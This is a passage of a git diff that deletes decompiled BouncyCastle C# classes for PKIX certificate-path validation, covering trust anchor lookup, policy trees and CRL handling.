Rfc3280CertPathUtilities.PrepareNextCertH1(certPath, num, explicitPolicy); - policyMapping = Rfc3280CertPathUtilities.PrepareNextCertH2(certPath, num, policyMapping); - inhibitAnyPolicy = Rfc3280CertPathUtilities.PrepareNextCertH3(certPath, num, inhibitAnyPolicy); - explicitPolicy = Rfc3280CertPathUtilities.PrepareNextCertI1(certPath, num, explicitPolicy); - policyMapping = Rfc3280CertPathUtilities.PrepareNextCertI2(certPath, num, policyMapping); - inhibitAnyPolicy = Rfc3280CertPathUtilities.PrepareNextCertJ(certPath, num, inhibitAnyPolicy); - Rfc3280CertPathUtilities.PrepareNextCertK(certPath, num); - maxPathLength = Rfc3280CertPathUtilities.PrepareNextCertL(certPath, num, maxPathLength); - maxPathLength = Rfc3280CertPathUtilities.PrepareNextCertM(certPath, num, maxPathLength); - Rfc3280CertPathUtilities.PrepareNextCertN(certPath, num); - ISet criticalExtensionOids = x509Certificate2.GetCriticalExtensionOids(); - if (criticalExtensionOids != null) - { - criticalExtensionOids = new HashSet(criticalExtensionOids); - criticalExtensionOids.Remove(X509Extensions.KeyUsage.Id); - criticalExtensionOids.Remove(X509Extensions.CertificatePolicies.Id); - criticalExtensionOids.Remove(X509Extensions.PolicyMappings.Id); - criticalExtensionOids.Remove(X509Extensions.InhibitAnyPolicy.Id); - criticalExtensionOids.Remove(X509Extensions.IssuingDistributionPoint.Id); - criticalExtensionOids.Remove(X509Extensions.DeltaCrlIndicator.Id); - criticalExtensionOids.Remove(X509Extensions.PolicyConstraints.Id); - criticalExtensionOids.Remove(X509Extensions.BasicConstraints.Id); - criticalExtensionOids.Remove(X509Extensions.SubjectAlternativeName.Id); - criticalExtensionOids.Remove(X509Extensions.NameConstraints.Id); - } - else - { - criticalExtensionOids = new HashSet(); - } - Rfc3280CertPathUtilities.PrepareNextCertO(certPath, num, criticalExtensionOids, certPathCheckers); - x509Certificate = x509Certificate2; - workingIssuerName = x509Certificate.SubjectDN; - try - { - asymmetricKeyParameter = PkixCertPathValidatorUtilities.GetNextWorkingKey(certPath.Certificates, num); - } - catch (PkixCertPathValidatorException cause3) - { - throw new PkixCertPathValidatorException("Next working key could not be retrieved.", cause3, certPath, num); - } - PkixCertPathValidatorUtilities.GetAlgorithmIdentifier(asymmetricKeyParameter); - } - } - } - explicitPolicy = Rfc3280CertPathUtilities.WrapupCertA(explicitPolicy, x509Certificate2); - explicitPolicy = Rfc3280CertPathUtilities.WrapupCertB(certPath, num + 1, explicitPolicy); - ISet criticalExtensionOids2 = x509Certificate2.GetCriticalExtensionOids(); - if (criticalExtensionOids2 != null) - { - criticalExtensionOids2 = new HashSet(criticalExtensionOids2); - criticalExtensionOids2.Remove(X509Extensions.KeyUsage.Id); - criticalExtensionOids2.Remove(X509Extensions.CertificatePolicies.Id); - criticalExtensionOids2.Remove(X509Extensions.PolicyMappings.Id); - criticalExtensionOids2.Remove(X509Extensions.InhibitAnyPolicy.Id); - criticalExtensionOids2.Remove(X509Extensions.IssuingDistributionPoint.Id); - criticalExtensionOids2.Remove(X509Extensions.DeltaCrlIndicator.Id); - criticalExtensionOids2.Remove(X509Extensions.PolicyConstraints.Id); - criticalExtensionOids2.Remove(X509Extensions.BasicConstraints.Id); - criticalExtensionOids2.Remove(X509Extensions.SubjectAlternativeName.Id); - criticalExtensionOids2.Remove(X509Extensions.NameConstraints.Id); - criticalExtensionOids2.Remove(X509Extensions.CrlDistributionPoints.Id); - } - else - { - criticalExtensionOids2 = new HashSet(); - } - Rfc3280CertPathUtilities.WrapupCertF(certPath, num + 1, certPathCheckers, criticalExtensionOids2); - PkixPolicyNode pkixPolicyNode2 = Rfc3280CertPathUtilities.WrapupCertG(certPath, paramsPkix, initialPolicies, num + 1, array, pkixPolicyNode, acceptablePolicies); - if (explicitPolicy > 0 || pkixPolicyNode2 != null) - { - return new PkixCertPathValidatorResult(trustAnchor, pkixPolicyNode2, x509Certificate2.GetPublicKey()); - } - throw new PkixCertPathValidatorException("Path processing failed on policy.", null, certPath, num); - } - - internal static void CheckCertificate(X509Certificate cert) - { - try - { - TbsCertificateStructure.GetInstance(cert.CertificateStructure.TbsCertificate); - } - catch (CertificateEncodingException innerException) - { - throw new Exception("unable to process TBSCertificate", innerException); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorException.cs deleted file mode 100644 index 343a0b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorException.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Pkix; - -[Serializable] -public class PkixCertPathValidatorException : GeneralSecurityException -{ - private Exception cause; - - private PkixCertPath certPath; - - private int index = -1; - - public override string Message - { - get - { - string message = base.Message; - if (message != null) - { - return message; - } - if (cause != null) - { - return cause.Message; - } - return null; - } - } - - public PkixCertPath CertPath => certPath; - - public int Index => index; - - public PkixCertPathValidatorException() - { - } - - public PkixCertPathValidatorException(string message) - : base(message) - { - } - - public PkixCertPathValidatorException(string message, Exception cause) - : base(message) - { - this.cause = cause; - } - - public PkixCertPathValidatorException(string message, Exception cause, PkixCertPath certPath, int index) - : base(message) - { - if (certPath == null && index != -1) - { - throw new ArgumentNullException("certPath = null and index != -1"); - } - if (index < -1 || (certPath != null && index >= certPath.Certificates.Count)) - { - throw new IndexOutOfRangeException(" index < -1 or out of bound of certPath.getCertificates()"); - } - this.cause = cause; - this.certPath = certPath; - this.index = index; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorResult.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorResult.cs deleted file mode 100644 index b15df53..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorResult.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.Pkix; - -public class PkixCertPathValidatorResult -{ - private TrustAnchor trustAnchor; - - private PkixPolicyNode policyTree; - - private AsymmetricKeyParameter subjectPublicKey; - - public PkixPolicyNode PolicyTree => policyTree; - - public TrustAnchor TrustAnchor => trustAnchor; - - public AsymmetricKeyParameter SubjectPublicKey => subjectPublicKey; - - public PkixCertPathValidatorResult(TrustAnchor trustAnchor, PkixPolicyNode policyTree, AsymmetricKeyParameter subjectPublicKey) - { - if (subjectPublicKey == null) - { - throw new NullReferenceException("subjectPublicKey must be non-null"); - } - if (trustAnchor == null) - { - throw new NullReferenceException("trustAnchor must be non-null"); - } - this.trustAnchor = trustAnchor; - this.policyTree = policyTree; - this.subjectPublicKey = subjectPublicKey; - } - - public object Clone() - { - return new PkixCertPathValidatorResult(TrustAnchor, PolicyTree, SubjectPublicKey); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("PKIXCertPathValidatorResult: [ \n"); - stringBuilder.Append(" Trust Anchor: ").Append(TrustAnchor).Append('\n'); - stringBuilder.Append(" Policy Tree: ").Append(PolicyTree).Append('\n'); - stringBuilder.Append(" Subject Public Key: ").Append(SubjectPublicKey).Append("\n]"); - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorUtilities.cs deleted file mode 100644 index b6ed5dc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidatorUtilities.cs +++ /dev/null @@ -1,795 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.IsisMtt; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Extension; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixCertPathValidatorUtilities -{ - private static readonly PkixCrlUtilities CrlUtilities = new PkixCrlUtilities(); - - internal static readonly string ANY_POLICY = "2.5.29.32.0"; - - internal static readonly string CRL_NUMBER = X509Extensions.CrlNumber.Id; - - internal static readonly int KEY_CERT_SIGN = 5; - - internal static readonly int CRL_SIGN = 6; - - internal static readonly string[] crlReasons = new string[11] - { - "unspecified", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "unknown", "removeFromCRL", "privilegeWithdrawn", - "aACompromise" - }; - - internal static TrustAnchor FindTrustAnchor(X509Certificate cert, ISet trustAnchors) - { - IEnumerator enumerator = trustAnchors.GetEnumerator(); - TrustAnchor trustAnchor = null; - AsymmetricKeyParameter asymmetricKeyParameter = null; - Exception ex = null; - X509CertStoreSelector x509CertStoreSelector = new X509CertStoreSelector(); - try - { - x509CertStoreSelector.Subject = GetIssuerPrincipal(cert); - } - catch (IOException innerException) - { - throw new Exception("Cannot set subject search criteria for trust anchor.", innerException); - } - while (enumerator.MoveNext() && trustAnchor == null) - { - trustAnchor = (TrustAnchor)enumerator.Current; - if (trustAnchor.TrustedCert != null) - { - if (x509CertStoreSelector.Match(trustAnchor.TrustedCert)) - { - asymmetricKeyParameter = trustAnchor.TrustedCert.GetPublicKey(); - } - else - { - trustAnchor = null; - } - } - else if (trustAnchor.CAName != null && trustAnchor.CAPublicKey != null) - { - try - { - X509Name issuerPrincipal = GetIssuerPrincipal(cert); - X509Name other = new X509Name(trustAnchor.CAName); - if (issuerPrincipal.Equivalent(other, inOrder: true)) - { - asymmetricKeyParameter = trustAnchor.CAPublicKey; - } - else - { - trustAnchor = null; - } - } - catch (InvalidParameterException) - { - trustAnchor = null; - } - } - else - { - trustAnchor = null; - } - if (asymmetricKeyParameter != null) - { - try - { - cert.Verify(asymmetricKeyParameter); - } - catch (Exception ex3) - { - ex = ex3; - trustAnchor = null; - } - } - } - if (trustAnchor == null && ex != null) - { - throw new Exception("TrustAnchor found but certificate validation failed.", ex); - } - return trustAnchor; - } - - internal static bool IsIssuerTrustAnchor(X509Certificate cert, ISet trustAnchors) - { - try - { - return FindTrustAnchor(cert, trustAnchors) != null; - } - catch (Exception) - { - return false; - } - } - - internal static void AddAdditionalStoresFromAltNames(X509Certificate cert, PkixParameters pkixParams) - { - if (cert.GetIssuerAlternativeNames() == null) - { - return; - } - IEnumerator enumerator = cert.GetIssuerAlternativeNames().GetEnumerator(); - while (enumerator.MoveNext()) - { - IList list = (IList)enumerator.Current; - if (list[0].Equals(6)) - { - string location = (string)list[1]; - AddAdditionalStoreFromLocation(location, pkixParams); - } - } - } - - internal static DateTime GetValidDate(PkixParameters paramsPKIX) - { - return paramsPKIX.Date?.Value ?? DateTime.UtcNow; - } - - internal static X509Name GetIssuerPrincipal(object cert) - { - if (cert is X509Certificate) - { - return ((X509Certificate)cert).IssuerDN; - } - return ((IX509AttributeCertificate)cert).Issuer.GetPrincipals()[0]; - } - - internal static bool IsSelfIssued(X509Certificate cert) - { - return cert.SubjectDN.Equivalent(cert.IssuerDN, inOrder: true); - } - - internal static AlgorithmIdentifier GetAlgorithmIdentifier(AsymmetricKeyParameter key) - { - try - { - SubjectPublicKeyInfo subjectPublicKeyInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(key); - return subjectPublicKeyInfo.AlgorithmID; - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Subject public key cannot be decoded.", cause); - } - } - - internal static bool IsAnyPolicy(ISet policySet) - { - if (policySet != null && !policySet.Contains(ANY_POLICY)) - { - return policySet.Count == 0; - } - return true; - } - - internal static void AddAdditionalStoreFromLocation(string location, PkixParameters pkixParams) - { - if (!pkixParams.IsAdditionalLocationsEnabled) - { - return; - } - try - { - if (Platform.StartsWith(location, "ldap://")) - { - location = location.Substring(7); - int num = location.IndexOf('/'); - if (num != -1) - { - _ = "ldap://" + location.Substring(0, num); - } - else - { - _ = "ldap://" + location; - } - throw Platform.CreateNotImplementedException("LDAP cert/CRL stores"); - } - } - catch (Exception) - { - throw new Exception("Exception adding X.509 stores."); - } - } - - private static BigInteger GetSerialNumber(object cert) - { - if (cert is X509Certificate) - { - return ((X509Certificate)cert).SerialNumber; - } - return ((X509V2AttributeCertificate)cert).SerialNumber; - } - - internal static ISet GetQualifierSet(Asn1Sequence qualifiers) - { - ISet set = new HashSet(); - if (qualifiers == null) - { - return set; - } - foreach (Asn1Encodable qualifier in qualifiers) - { - try - { - set.Add(PolicyQualifierInfo.GetInstance(qualifier.ToAsn1Object())); - } - catch (IOException cause) - { - throw new PkixCertPathValidatorException("Policy qualifier info cannot be decoded.", cause); - } - } - return set; - } - - internal static PkixPolicyNode RemovePolicyNode(PkixPolicyNode validPolicyTree, IList[] policyNodes, PkixPolicyNode _node) - { - PkixPolicyNode parent = _node.Parent; - if (validPolicyTree == null) - { - return null; - } - if (parent == null) - { - for (int i = 0; i < policyNodes.Length; i++) - { - policyNodes[i] = Platform.CreateArrayList(); - } - return null; - } - parent.RemoveChild(_node); - RemovePolicyNodeRecurse(policyNodes, _node); - return validPolicyTree; - } - - private static void RemovePolicyNodeRecurse(IList[] policyNodes, PkixPolicyNode _node) - { - policyNodes[_node.Depth].Remove(_node); - if (!_node.HasChildren) - { - return; - } - foreach (PkixPolicyNode child in _node.Children) - { - RemovePolicyNodeRecurse(policyNodes, child); - } - } - - internal static void PrepareNextCertB1(int i, IList[] policyNodes, string id_p, IDictionary m_idp, X509Certificate cert) - { - bool flag = false; - IEnumerator enumerator = policyNodes[i].GetEnumerator(); - while (enumerator.MoveNext()) - { - PkixPolicyNode pkixPolicyNode = (PkixPolicyNode)enumerator.Current; - if (pkixPolicyNode.ValidPolicy.Equals(id_p)) - { - flag = true; - pkixPolicyNode.ExpectedPolicies = (ISet)m_idp[id_p]; - break; - } - } - if (flag) - { - return; - } - enumerator = policyNodes[i].GetEnumerator(); - while (enumerator.MoveNext()) - { - PkixPolicyNode pkixPolicyNode2 = (PkixPolicyNode)enumerator.Current; - if (!ANY_POLICY.Equals(pkixPolicyNode2.ValidPolicy)) - { - continue; - } - ISet policyQualifiers = null; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(GetExtensionValue(cert, X509Extensions.CertificatePolicies)); - } - catch (Exception innerException) - { - throw new Exception("Certificate policies cannot be decoded.", innerException); - } - IEnumerator enumerator2 = asn1Sequence.GetEnumerator(); - while (enumerator2.MoveNext()) - { - PolicyInformation policyInformation = null; - try - { - policyInformation = PolicyInformation.GetInstance(enumerator2.Current); - } - catch (Exception innerException2) - { - throw new Exception("Policy information cannot be decoded.", innerException2); - } - if (ANY_POLICY.Equals(policyInformation.PolicyIdentifier.Id)) - { - try - { - policyQualifiers = GetQualifierSet(policyInformation.PolicyQualifiers); - } - catch (PkixCertPathValidatorException cause) - { - throw new PkixCertPathValidatorException("Policy qualifier info set could not be built.", cause); - } - break; - } - } - bool critical = false; - ISet criticalExtensionOids = cert.GetCriticalExtensionOids(); - if (criticalExtensionOids != null) - { - critical = criticalExtensionOids.Contains(X509Extensions.CertificatePolicies.Id); - } - PkixPolicyNode parent = pkixPolicyNode2.Parent; - if (ANY_POLICY.Equals(parent.ValidPolicy)) - { - PkixPolicyNode pkixPolicyNode3 = new PkixPolicyNode(Platform.CreateArrayList(), i, (ISet)m_idp[id_p], parent, policyQualifiers, id_p, critical); - parent.AddChild(pkixPolicyNode3); - policyNodes[i].Add(pkixPolicyNode3); - } - break; - } - } - - internal static PkixPolicyNode PrepareNextCertB2(int i, IList[] policyNodes, string id_p, PkixPolicyNode validPolicyTree) - { - int num = 0; - foreach (PkixPolicyNode item in Platform.CreateArrayList(policyNodes[i])) - { - if (item.ValidPolicy.Equals(id_p)) - { - PkixPolicyNode parent = item.Parent; - parent.RemoveChild(item); - policyNodes[i].RemoveAt(num); - for (int num2 = i - 1; num2 >= 0; num2--) - { - IList list = policyNodes[num2]; - for (int j = 0; j < list.Count; j++) - { - PkixPolicyNode pkixPolicyNode2 = (PkixPolicyNode)list[j]; - if (!pkixPolicyNode2.HasChildren) - { - validPolicyTree = RemovePolicyNode(validPolicyTree, policyNodes, pkixPolicyNode2); - if (validPolicyTree == null) - { - break; - } - } - } - } - } - else - { - num++; - } - } - return validPolicyTree; - } - - internal static void GetCertStatus(DateTime validDate, X509Crl crl, object cert, CertStatus certStatus) - { - X509Crl x509Crl = null; - try - { - x509Crl = new X509Crl(CertificateList.GetInstance((Asn1Sequence)Asn1Object.FromByteArray(crl.GetEncoded()))); - } - catch (Exception innerException) - { - throw new Exception("Bouncy Castle X509Crl could not be created.", innerException); - } - X509CrlEntry revokedCertificate = x509Crl.GetRevokedCertificate(GetSerialNumber(cert)); - if (revokedCertificate == null) - { - return; - } - X509Name issuerPrincipal = GetIssuerPrincipal(cert); - if (!issuerPrincipal.Equivalent(revokedCertificate.GetCertificateIssuer(), inOrder: true) && !issuerPrincipal.Equivalent(crl.IssuerDN, inOrder: true)) - { - return; - } - DerEnumerated derEnumerated = null; - if (revokedCertificate.HasExtensions) - { - try - { - derEnumerated = DerEnumerated.GetInstance(GetExtensionValue(revokedCertificate, X509Extensions.ReasonCode)); - } - catch (Exception innerException2) - { - throw new Exception("Reason code CRL entry extension could not be decoded.", innerException2); - } - } - if (validDate.Ticks >= revokedCertificate.RevocationDate.Ticks || derEnumerated == null || derEnumerated.Value.TestBit(0) || derEnumerated.Value.TestBit(1) || derEnumerated.Value.TestBit(2) || derEnumerated.Value.TestBit(8)) - { - if (derEnumerated != null) - { - certStatus.Status = derEnumerated.Value.SignValue; - } - else - { - certStatus.Status = 0; - } - certStatus.RevocationDate = new DateTimeObject(revokedCertificate.RevocationDate); - } - } - - internal static AsymmetricKeyParameter GetNextWorkingKey(IList certs, int index) - { - X509Certificate x509Certificate = (X509Certificate)certs[index]; - AsymmetricKeyParameter publicKey = x509Certificate.GetPublicKey(); - if (!(publicKey is DsaPublicKeyParameters)) - { - return publicKey; - } - DsaPublicKeyParameters dsaPublicKeyParameters = (DsaPublicKeyParameters)publicKey; - if (dsaPublicKeyParameters.Parameters != null) - { - return dsaPublicKeyParameters; - } - for (int i = index + 1; i < certs.Count; i++) - { - X509Certificate x509Certificate2 = (X509Certificate)certs[i]; - publicKey = x509Certificate2.GetPublicKey(); - if (!(publicKey is DsaPublicKeyParameters)) - { - throw new PkixCertPathValidatorException("DSA parameters cannot be inherited from previous certificate."); - } - DsaPublicKeyParameters dsaPublicKeyParameters2 = (DsaPublicKeyParameters)publicKey; - if (dsaPublicKeyParameters2.Parameters != null) - { - DsaParameters parameters = dsaPublicKeyParameters2.Parameters; - try - { - return new DsaPublicKeyParameters(dsaPublicKeyParameters.Y, parameters); - } - catch (Exception ex) - { - throw new Exception(ex.Message); - } - } - } - throw new PkixCertPathValidatorException("DSA parameters cannot be inherited from previous certificate."); - } - - internal static DateTime GetValidCertDateFromValidityModel(PkixParameters paramsPkix, PkixCertPath certPath, int index) - { - if (paramsPkix.ValidityModel != 1) - { - return GetValidDate(paramsPkix); - } - if (index <= 0) - { - return GetValidDate(paramsPkix); - } - if (index - 1 == 0) - { - DerGeneralizedTime derGeneralizedTime = null; - try - { - X509Certificate x509Certificate = (X509Certificate)certPath.Certificates[index - 1]; - Asn1OctetString extensionValue = x509Certificate.GetExtensionValue(IsisMttObjectIdentifiers.IdIsisMttATDateOfCertGen); - derGeneralizedTime = DerGeneralizedTime.GetInstance(extensionValue); - } - catch (ArgumentException) - { - throw new Exception("Date of cert gen extension could not be read."); - } - if (derGeneralizedTime != null) - { - try - { - return derGeneralizedTime.ToDateTime(); - } - catch (ArgumentException innerException) - { - throw new Exception("Date from date of cert gen extension could not be parsed.", innerException); - } - } - } - return ((X509Certificate)certPath.Certificates[index - 1]).NotBefore; - } - - internal static ICollection FindCertificates(X509CertStoreSelector certSelect, IList certStores) - { - ISet set = new HashSet(); - foreach (IX509Store certStore in certStores) - { - try - { - foreach (X509Certificate match in certStore.GetMatches(certSelect)) - { - set.Add(match); - } - } - catch (Exception innerException) - { - throw new Exception("Problem while picking certificates from X.509 store.", innerException); - } - } - return set; - } - - internal static void GetCrlIssuersFromDistributionPoint(DistributionPoint dp, ICollection issuerPrincipals, X509CrlStoreSelector selector, PkixParameters pkixParams) - { - IList list = Platform.CreateArrayList(); - if (dp.CrlIssuer != null) - { - GeneralName[] names = dp.CrlIssuer.GetNames(); - for (int i = 0; i < names.Length; i++) - { - if (names[i].TagNo == 4) - { - try - { - list.Add(X509Name.GetInstance(names[i].Name.ToAsn1Object())); - } - catch (IOException innerException) - { - throw new Exception("CRL issuer information from distribution point cannot be decoded.", innerException); - } - } - } - } - else - { - if (dp.DistributionPointName == null) - { - throw new Exception("CRL issuer is omitted from distribution point but no distributionPoint field present."); - } - IEnumerator enumerator = issuerPrincipals.GetEnumerator(); - while (enumerator.MoveNext()) - { - list.Add((X509Name)enumerator.Current); - } - } - selector.Issuers = list; - } - - internal static ISet GetCompleteCrls(DistributionPoint dp, object cert, DateTime currentDate, PkixParameters paramsPKIX) - { - X509CrlStoreSelector x509CrlStoreSelector = new X509CrlStoreSelector(); - try - { - ISet set = new HashSet(); - if (cert is X509V2AttributeCertificate) - { - set.Add(((X509V2AttributeCertificate)cert).Issuer.GetPrincipals()[0]); - } - else - { - set.Add(GetIssuerPrincipal(cert)); - } - GetCrlIssuersFromDistributionPoint(dp, set, x509CrlStoreSelector, paramsPKIX); - } - catch (Exception innerException) - { - throw new Exception("Could not get issuer information from distribution point.", innerException); - } - if (cert is X509Certificate) - { - x509CrlStoreSelector.CertificateChecking = (X509Certificate)cert; - } - else if (cert is X509V2AttributeCertificate) - { - x509CrlStoreSelector.AttrCertChecking = (IX509AttributeCertificate)cert; - } - x509CrlStoreSelector.CompleteCrlEnabled = true; - ISet set2 = CrlUtilities.FindCrls(x509CrlStoreSelector, paramsPKIX, currentDate); - if (set2.IsEmpty) - { - if (cert is IX509AttributeCertificate) - { - IX509AttributeCertificate iX509AttributeCertificate = (IX509AttributeCertificate)cert; - throw new Exception(string.Concat("No CRLs found for issuer \"", iX509AttributeCertificate.Issuer.GetPrincipals()[0], "\"")); - } - X509Certificate x509Certificate = (X509Certificate)cert; - throw new Exception(string.Concat("No CRLs found for issuer \"", x509Certificate.IssuerDN, "\"")); - } - return set2; - } - - internal static ISet GetDeltaCrls(DateTime currentDate, PkixParameters paramsPKIX, X509Crl completeCRL) - { - X509CrlStoreSelector x509CrlStoreSelector = new X509CrlStoreSelector(); - try - { - IList list = Platform.CreateArrayList(); - list.Add(completeCRL.IssuerDN); - x509CrlStoreSelector.Issuers = list; - } - catch (IOException innerException) - { - throw new Exception("Cannot extract issuer from CRL.", innerException); - } - BigInteger bigInteger = null; - try - { - Asn1Object extensionValue = GetExtensionValue(completeCRL, X509Extensions.CrlNumber); - if (extensionValue != null) - { - bigInteger = DerInteger.GetInstance(extensionValue).PositiveValue; - } - } - catch (Exception innerException2) - { - throw new Exception("CRL number extension could not be extracted from CRL.", innerException2); - } - byte[] issuingDistributionPoint = null; - try - { - Asn1Object extensionValue2 = GetExtensionValue(completeCRL, X509Extensions.IssuingDistributionPoint); - if (extensionValue2 != null) - { - issuingDistributionPoint = extensionValue2.GetDerEncoded(); - } - } - catch (Exception innerException3) - { - throw new Exception("Issuing distribution point extension value could not be read.", innerException3); - } - x509CrlStoreSelector.MinCrlNumber = bigInteger?.Add(BigInteger.One); - x509CrlStoreSelector.IssuingDistributionPoint = issuingDistributionPoint; - x509CrlStoreSelector.IssuingDistributionPointEnabled = true; - x509CrlStoreSelector.MaxBaseCrlNumber = bigInteger; - ISet set = CrlUtilities.FindCrls(x509CrlStoreSelector, paramsPKIX, currentDate); - ISet set2 = new HashSet(); - foreach (X509Crl item in set) - { - if (isDeltaCrl(item)) - { - set2.Add(item); - } - } - return set2; - } - - private static bool isDeltaCrl(X509Crl crl) - { - ISet criticalExtensionOids = crl.GetCriticalExtensionOids(); - return criticalExtensionOids.Contains(X509Extensions.DeltaCrlIndicator.Id); - } - - internal static ICollection FindCertificates(X509AttrCertStoreSelector certSelect, IList certStores) - { - ISet set = new HashSet(); - foreach (IX509Store certStore in certStores) - { - try - { - foreach (X509V2AttributeCertificate match in certStore.GetMatches(certSelect)) - { - set.Add(match); - } - } - catch (Exception innerException) - { - throw new Exception("Problem while picking certificates from X.509 store.", innerException); - } - } - return set; - } - - internal static void AddAdditionalStoresFromCrlDistributionPoint(CrlDistPoint crldp, PkixParameters pkixParams) - { - if (crldp == null) - { - return; - } - DistributionPoint[] array = null; - try - { - array = crldp.GetDistributionPoints(); - } - catch (Exception innerException) - { - throw new Exception("Distribution points could not be read.", innerException); - } - for (int i = 0; i < array.Length; i++) - { - DistributionPointName distributionPointName = array[i].DistributionPointName; - if (distributionPointName == null || distributionPointName.PointType != 0) - { - continue; - } - GeneralName[] names = GeneralNames.GetInstance(distributionPointName.Name).GetNames(); - for (int j = 0; j < names.Length; j++) - { - if (names[j].TagNo == 6) - { - string location = DerIA5String.GetInstance(names[j].Name).GetString(); - AddAdditionalStoreFromLocation(location, pkixParams); - } - } - } - } - - internal static bool ProcessCertD1i(int index, IList[] policyNodes, DerObjectIdentifier pOid, ISet pq) - { - IList list = policyNodes[index - 1]; - for (int i = 0; i < list.Count; i++) - { - PkixPolicyNode pkixPolicyNode = (PkixPolicyNode)list[i]; - ISet expectedPolicies = pkixPolicyNode.ExpectedPolicies; - if (expectedPolicies.Contains(pOid.Id)) - { - ISet set = new HashSet(); - set.Add(pOid.Id); - PkixPolicyNode pkixPolicyNode2 = new PkixPolicyNode(Platform.CreateArrayList(), index, set, pkixPolicyNode, pq, pOid.Id, critical: false); - pkixPolicyNode.AddChild(pkixPolicyNode2); - policyNodes[index].Add(pkixPolicyNode2); - return true; - } - } - return false; - } - - internal static void ProcessCertD1ii(int index, IList[] policyNodes, DerObjectIdentifier _poid, ISet _pq) - { - IList list = policyNodes[index - 1]; - for (int i = 0; i < list.Count; i++) - { - PkixPolicyNode pkixPolicyNode = (PkixPolicyNode)list[i]; - if (ANY_POLICY.Equals(pkixPolicyNode.ValidPolicy)) - { - ISet set = new HashSet(); - set.Add(_poid.Id); - PkixPolicyNode pkixPolicyNode2 = new PkixPolicyNode(Platform.CreateArrayList(), index, set, pkixPolicyNode, _pq, _poid.Id, critical: false); - pkixPolicyNode.AddChild(pkixPolicyNode2); - policyNodes[index].Add(pkixPolicyNode2); - break; - } - } - } - - internal static ICollection FindIssuerCerts(X509Certificate cert, PkixBuilderParameters pkixParams) - { - X509CertStoreSelector x509CertStoreSelector = new X509CertStoreSelector(); - ISet set = new HashSet(); - try - { - x509CertStoreSelector.Subject = cert.IssuerDN; - } - catch (IOException innerException) - { - throw new Exception("Subject criteria for certificate selector to find issuer certificate could not be set.", innerException); - } - try - { - set.AddAll(FindCertificates(x509CertStoreSelector, pkixParams.GetStores())); - set.AddAll(FindCertificates(x509CertStoreSelector, pkixParams.GetAdditionalStores())); - return set; - } - catch (Exception innerException2) - { - throw new Exception("Issuer certificate cannot be searched.", innerException2); - } - } - - internal static Asn1Object GetExtensionValue(IX509Extension ext, DerObjectIdentifier oid) - { - Asn1OctetString extensionValue = ext.GetExtensionValue(oid); - if (extensionValue == null) - { - return null; - } - return X509ExtensionUtilities.FromExtensionValue(extensionValue); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCrlUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCrlUtilities.cs deleted file mode 100644 index 374b9e1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCrlUtilities.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixCrlUtilities -{ - public virtual ISet FindCrls(X509CrlStoreSelector crlselect, PkixParameters paramsPkix, DateTime currentDate) - { - ISet set = new HashSet(); - try - { - set.AddAll(FindCrls(crlselect, paramsPkix.GetAdditionalStores())); - set.AddAll(FindCrls(crlselect, paramsPkix.GetStores())); - } - catch (Exception innerException) - { - throw new Exception("Exception obtaining complete CRLs.", innerException); - } - ISet set2 = new HashSet(); - DateTime dateTime = currentDate; - if (paramsPkix.Date != null) - { - dateTime = paramsPkix.Date.Value; - } - foreach (X509Crl item in set) - { - if (item.NextUpdate.Value.CompareTo((object?)dateTime) <= 0) - { - continue; - } - X509Certificate certificateChecking = crlselect.CertificateChecking; - if (certificateChecking != null) - { - if (item.ThisUpdate.CompareTo((object?)certificateChecking.NotAfter) < 0) - { - set2.Add(item); - } - } - else - { - set2.Add(item); - } - } - return set2; - } - - public virtual ISet FindCrls(X509CrlStoreSelector crlselect, PkixParameters paramsPkix) - { - ISet set = new HashSet(); - try - { - set.AddAll(FindCrls(crlselect, paramsPkix.GetStores())); - return set; - } - catch (Exception innerException) - { - throw new Exception("Exception obtaining complete CRLs.", innerException); - } - } - - private ICollection FindCrls(X509CrlStoreSelector crlSelect, IList crlStores) - { - ISet set = new HashSet(); - Exception ex = null; - bool flag = false; - foreach 